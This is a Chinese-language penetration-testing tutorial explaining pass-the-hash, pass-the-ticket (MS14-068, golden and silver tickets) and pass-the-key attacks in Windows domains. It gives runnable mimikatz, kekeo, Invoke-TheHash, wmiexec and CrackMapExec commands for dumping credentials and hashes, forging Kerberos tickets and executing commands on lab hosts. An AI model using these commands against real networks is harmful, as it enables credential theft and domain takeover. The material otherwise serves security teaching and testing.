<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    內網滲透之PTH&PTT&PTK?詳解

    VSole2021-08-25 06:58:45

    PTH(pass-the-hash)

    pass-the-hash在內網滲透中是一種很經典的攻擊方式,原理就是攻擊者可以直接通過LM Hash和NTLM Hash訪問遠程主機或服務,而不用提供明文密碼。

    pass the hash原理:

    • 在Windows系統中,通常會使用NTLM身份認證
    • NTLM認證不使用明文口令,而是使用口令加密后的hash值,hash值由系統API生成(例如LsaLogonUser)
    • hash分為LM hash和NT hash,如果密碼長度大于15,那么無法生成LM hash。從Windows Vista和Windows Server 2008開始,微軟默認禁用LM hash
    • 如果攻擊者獲得了hash,就能夠在身份驗證的時候模擬該用戶(即跳過調用API生成hash的過程)

    這類攻擊適用于:

    • 域/工作組環境
    • 可以獲得hash,但是條件不允許對hash爆破
    • 內網中存在和當前機器相同的密碼

    微軟也對pth打過補丁,然而在測試中發現,在打了補丁后,常規的Pass The Hash已經無法成功,唯獨默認的Administrator(SID 500)賬號例外,利用這個賬號仍可以進行Pass The Hash遠程ipc連接。

    如果禁用了ntlm認證,PsExec無法利用獲得的ntlm hash進行遠程連接,但是使用mimikatz還是可以攻擊成功。

    從windows到windows橫向pth這一類攻擊方法比較廣泛。

    一、Mimikatz

    mimikatz的pth功能需要本地管理員權限,這是由它的實現機制決定的,需要先獲得高權限進程lsass.exe的信息

    對于Win 8.1/2012r2,安裝補丁kb2871997的Win 7/2008r2/8/2012,可以使用AES keys代替NT hash

    使用mimikatz先獲取hash:

    privilege::debug
    sekurlsa::logonpasswords
    

    得到hash后

    sekurlsa::pth /user:administrator /domain:workgroup /ntlm:ccef208c6485269c20db2cad21734fe7
    

    可以看到NTML hash已經對workgroup使用,這樣的話訪問遠程主機或服務,就不用提供明文密碼

    pass the  hash成 功~

    二、wmiexe

    WMI可以描述為一組管理Windows系統的方法和功能。我們可以把它當作API來與Windows系統進行相互交流。WMI在滲透測試中的價值在于它不需要下載和安裝, 因為WMI是Windows系統自帶功能。而且整個運行過程都在計算機內存中發生,不會留下任何痕跡。這一點是其它滲透測試工具所不能相比的。

    wmiexec是對windows自帶的wmic做了一些強化,讓滲透變得更容易。只能說有很多工具吧,比較好用的在這里介紹兩種:

    第一種:

    https://github.com/Kevin-Robertson/Invoke-TheHash
    

    其他攻擊手法可以看下readme,這里只簡單的對pth做一下實驗:

    Invoke-Module Invoke-TheHash.psd1Invoke-WMIExec -Target 192.168.3.21 -Domain workgroup -Username administrator -Hash ccef208c6485269c20db2cad21734fe7 -Command "calc.exe" -verbose
    

    查看192.168.3.21機器,發現calc.exe進程已經啟動


    另外還有Invoke-SMB等腳本都可以進行利用,利用方法也差不多一樣:

    Invoke-SMBExec:

    支持SMB1, SMB2 (2.1), and SMB signing

    Invoke-SMBExec -Target 192.168.3.21 -Domain test.local -Username test1 -Hash ccef208c6485269c20db2cad21734fe7 -Command "calc.exe" -verbose
    

    通過在目標主機創建服務執行命令,所以權限為system

    Invoke-SMBClient:

    支持SMB1, SMB2 (2.1), and SMB signing,如果只有SMB文件共享的權限,沒有遠程執行權限,可以使用該腳本。

    支持的功能包括列舉目錄、上傳文件、下載文件、刪除文件(具體權限取決于該口令hash的權限)

    第二種:

    wmiexec.py 腳本地址:

    https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
    

    wmiexec.exe 通過python impacket庫實現的,生成的exe有點大,5M大小在實戰起來有點不方便 :

    https://github.com/maaaaz/impacket-examples-windows
    

    wmiexec.py的注釋中提示"Main advantage here is it runs under the user (has to be Admin) account",經實際測試普通用戶權限即可

    參數實例:

    wmiexec -hashes 00000000000000000000000000000000:ccef208c6485269c20db2cad21734fe7 workgroup/administrator@192.168.3.21 "whoami"
    

    wmiexec.py的hash參數格式為 LM Hash:NT Hash ,由于該Hash來自于Server 2008,系統默認不支持LM hash,所以LM hash可以設定為任意值

    三、CrackMapExec

    CrackMapExec可以對C段中的主機進行批量pth,項目地址:

    https://github.com/byt3bl33d3r/CrackMapExec.git
    

    使用命令:

    crackmapexec 192.168.3.0/24 -u administrator -H ccef208c6485269c20db2cad21734fe7
    對192.168.3.0/24 C段進行批量pass the hash
    

    PTT(pass the ticket)

    ptt攻擊的部分就不是簡單的NTLM認證了,它是利用Kerberos協議進行攻擊的,這里就介紹三種常見的攻擊方法:

    MS16-068,Golden ticket,SILVER ticket。

    之前介紹了Kerberos協議具體工作方法,在域中,簡要介紹一下:

    • 客戶機將明文密碼進行NTLM哈希,然后和時間戳一起加密(使用krbtgt密碼hash作為密鑰),發送給kdc(域控),kdc對用戶進行檢測,成功之后創建TGT(Ticket-Granting Ticket)
    • 將TGT進行加密簽名返回給客戶機器,只有域用戶krbtgt才能讀取kerberos中TGT數據
    • 然后客戶機將TGT發送給域控制器KDC請求TGS(票證授權服務)票證,并且對TGT進行檢測
    • 檢測成功之后,將目標服務賬戶的NTLM以及TGT進行加密,將加密后的結果返回給客戶機。

    一、ms14-068

    MS14-068是密鑰分發中心(KDC)服務中的Windows漏洞。它允許經過身份驗證的用戶在其Kerberos票證(TGT)中插入任意PAC(表示所有用戶權限的結構)。該漏洞位于kdcsvc.dll域控制器的密鑰分發中心(KDC)中。用戶可以通過呈現具有改變的PAC的Kerberos TGT來獲得票證。

    ms14-068詳細介紹:

    https://www.freebuf.com/vuls/56081.html
    

    簡單來說就是:

    windows域中使用kerberos協議過程中,為了讓SS服務器判斷Client是否有權限訪問服務,引入了PAC機制。構造PAC也是這個漏洞的根本。

    1. 在請求AS時,將require_PAC設置成False。

    2. 在請求TGS時,構造PAC,然后使用MD5簽名(PAC尾部的簽名算法可以任意指定),PAC并沒有放在TGT中發送,而是在請求包的其他位置(但是還是可以解析)。

    3. TGS_REP返回的不是會話密鑰,而是返回的帶PAC的TGT(微軟的鍋)

    造成的危害是允許域內任何一個普通用戶,將自己提升至域管權限。微軟給出的補丁是kb3011780

    下面來介紹一下ms14-068的利用過程:

    1.使用whoami/user 得到普通域用戶的sid

    2.執行payload生成TGT票據:

    利用工具:ms14-068

    使用方法:

    ms14-068.exe -u 域成員名@域名 -s 域成員sid -d 域控制器地址 -p 域成員密碼
    

    運行實例:

    MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45
    

    如果操作正確,且域機器是可以和域控制器互通則會創建.ccache文件

    3.票據注入:

    使用mimikatz將票據注入到當前內存中,偽造憑證,如果成功則擁有域管理權限,可任意訪問域中所有機器

    mimikatz # kerberos::purge    //清空當前機器中所有憑證,如果有域成員憑證會影響憑證偽造mimikatz # kerberos::list          //查看當前機器憑證mimikatz # kerberos::ptc 票據文件   //將票據注入到內存中
    

    顯示Injecting ticket : OK就表示注入成功了~

    4.查看注入是否成功并且登錄域控:

    查看klist:

    發現已經將憑證注入進去了~下面可以使用net use進行登錄,或者使用psexec,wmi等方法進行遠程執行命令。注意,這里登錄時,要使用機器名,不要使用IP,否則沒辦法攻擊成功。

    可以看到我們已經提升到域控權限。

    考慮到mimikatz的pth功能需要本地管理員權限,所以mimikatz也提供了 不需要管理員權限 的解決方法Pass-The-Ticket

    Pass-The-Ticket需要用到gentilkiwi開源的另一款工具kekeo,下載地址:

    https://github.com/gentilkiwi/kekeo/releases
    

    使用方法:

    kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
    

    執行后生成票據 :

    TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
    

    接下來導入票據:

    kekeo "kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi"
    

    成功獲得了域控的訪問權限:

    二、Golden ticket(黃金票據)

    Golden ticket的作用是可以生成任意用戶的tgt,那么問題就來了,是什么條件能夠讓他生成任意用戶的tgt呢?還得要看kerberos認證的過程,在windows認證過程中,客戶端將自己的信息發送給KDC,然后KDC使用krbtgt用戶密碼的hash作為密鑰進行加密,生成TGT。

    那么如果獲取到了krbtgt的密碼hash值,是不是就可以偽造任意tgt了。因為krbtgt只有域控制器上面才有,所以使用黃金憑據意味著你之前拿到過域控制器的權限,黃金憑據可以理解為一個后門。

    偽造黃金憑據需要具備下面條件:

    • krbtgt用戶的hash(就意味著你已經有域控制器權限了)
    • 域名稱
    • 域的SID值
    • 要偽造的用戶名

    先登錄域控制器,dump krbtgt用戶的hash值,獲取域sid:

    privilege::debug
    lsadump::lsa /patch
    

    切換到普通域用戶的機器,生成TGT憑證,用戶名為administrator:

    然后使用mimikatz將憑證注入進去,攻擊成功:

    mimikatz # kerberos::ptt test.kirbi
    

    如果主機開啟了RPC服務,還可以使用WmiExec.vbs直接連接:

    三、Silver ticket(白銀票據)

    silver ticket和golden ticket不同的是,它不需要和域控制器進行通信,原理是偽造TGS,使用的是計算機賬戶的hash進行加密的,所以只能訪問指定的權限。

    不像是Golden ticket,是由krgtgt用戶的密碼hash進行加密,偽造tgt可以獲取到所有權限。

    白銀票據這里只是對單一的服務進行授權,利用過程和golden ticket差不多,首先上域控制器中,把機器的ntlm hash(rc4加密) dump下來,然后在普通域用戶機器進行偽造權限,進行ptt。

    1.首先登錄域控,dump機器hash

    privilege::debug
    sekurlsa::logonpasswords
    

    2.將hash保存下來,在普通域用戶機器中進行ptt 

    kerberos::golden /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778  /target:192.168.3.21 /rc4:8432d4fa4430ecf56927dbabd1b4d36b  /service:cifs /user:mary /ptt
    

    這里的cifs是指的文件共享服務,有了cifs服務權限,就可以訪問域控制器的文件系統:

    PTK(pass the key)

    還是使用的mimikatz工具,不過需免殺。

    獲取用戶的aes key:

    mimikatz "privilege::debug" "sekurlsa::ekeys"
    
    

    注入aes key:

    mimikatz "privilege::debug" "sekurlsa::pth /user:mary /domain:god.org /aes256:c4388a1fb9bd65a88343a32c09e53ba6c1ead4de8a17a442e819e98c522fc288"
    
    

    成功注入aes256,嘗試遠程連接:

    如果拒絕訪問的話嘗試安裝kb2871997補丁

    kerberos域控制器
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    跟蹤為CVE-2021-23008的KDC欺騙漏洞可用于繞過Kerberos安全性并登錄到Big-IP訪問策略管理器或管理控制臺。Silverfort研究人員指出,有時也會使用APM來保護對Big-IP管理控制臺的訪問。“用戶名和密碼已通過Kerberos協議針對Active Directory進行了驗證,以確保用戶就是他們所聲稱的身份。”為了正常工作,KDC還必須向服務器進行身份驗證。F,在F5的設置中,不會發生這種情況。開發方案 根據星期四發布的F5的建議,要使攻擊起作用,就要求攻擊者已經在目標環境中。
    抓取域密碼哈希的各種工具集合。
    基于資源的約束委派
    2022-02-24 13:39:47
    微軟試圖為域用戶提供更大的靈活性,使資源的所有者能夠配置哪些帳戶是可信的,并允許委派給他們。這可以通過修改用于控制目標資源訪問的屬性“ms-DS-AllowedToActOnBehalfOfOtherIdentity”來實現的。
    Kerberos認證介紹Kerberos是一種計算機網絡授權協議,用來在非安全網絡中,對個人通信以安全的手段進行身份認證。這個詞又指麻省理工學院為這個協議開發的一套計算機軟件。而已有了金票后,就跳過AS驗證,不用驗證賬戶和密碼,所以也不擔心域管密碼修改。
    Kerberos Bronze Bit 攻擊的概念驗證利用代碼于本周在網上發布。以及繞過Kerberos身份驗證的Silver Ticket攻擊。造成攻擊的根本原因是未簽名包含可轉發標志的Kerberos服務票證組件,并且Kerberos進程無法檢測服務票證操縱。通過確保在S4U2self交換中收到的任何服務票證都是不可轉發的,可以強制實施此保護,除非請求的服務是TrustedToAuthForDelegation。同樣,通過確保代表受保護帳戶在S4U2self交換中收到的任何服務票證均不可轉發,可以強制執行此操作。
    在了解票據攻擊的過程中,看見了一篇文章使用Rubeus進行鉆石票據攻擊。但是沒有原理,于是抱著學習的心態在Google上尋找文章發現除了鉆石票據還有藍寶石票據。
    kerberos委派詳解
    2021-10-08 14:49:15
    委派域委派是指,將域內用戶的權限委派給服務賬號,使得服務賬號能以用戶權限開展域內活動。服務賬號,域內用戶的一種類型,服務器運行服務時所用的賬號,將服務運行起來并加入域。例如MSSQL Server在安裝時,會在域內自動注冊服務賬號'SqlServiceAccount',這類賬號不能用于交互式登錄。
    kerberos協議從0到1
    2021-10-12 14:26:38
    krbtgt用戶,是系統在創建域時自動生成的一個帳號,其作用是密鑰分發中心的服務賬號,其密碼是系統隨機生成的,無法登錄主機
    前文已經寫到檢測域內dcsync,adminsdholder等后門和一些基本域內信息
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类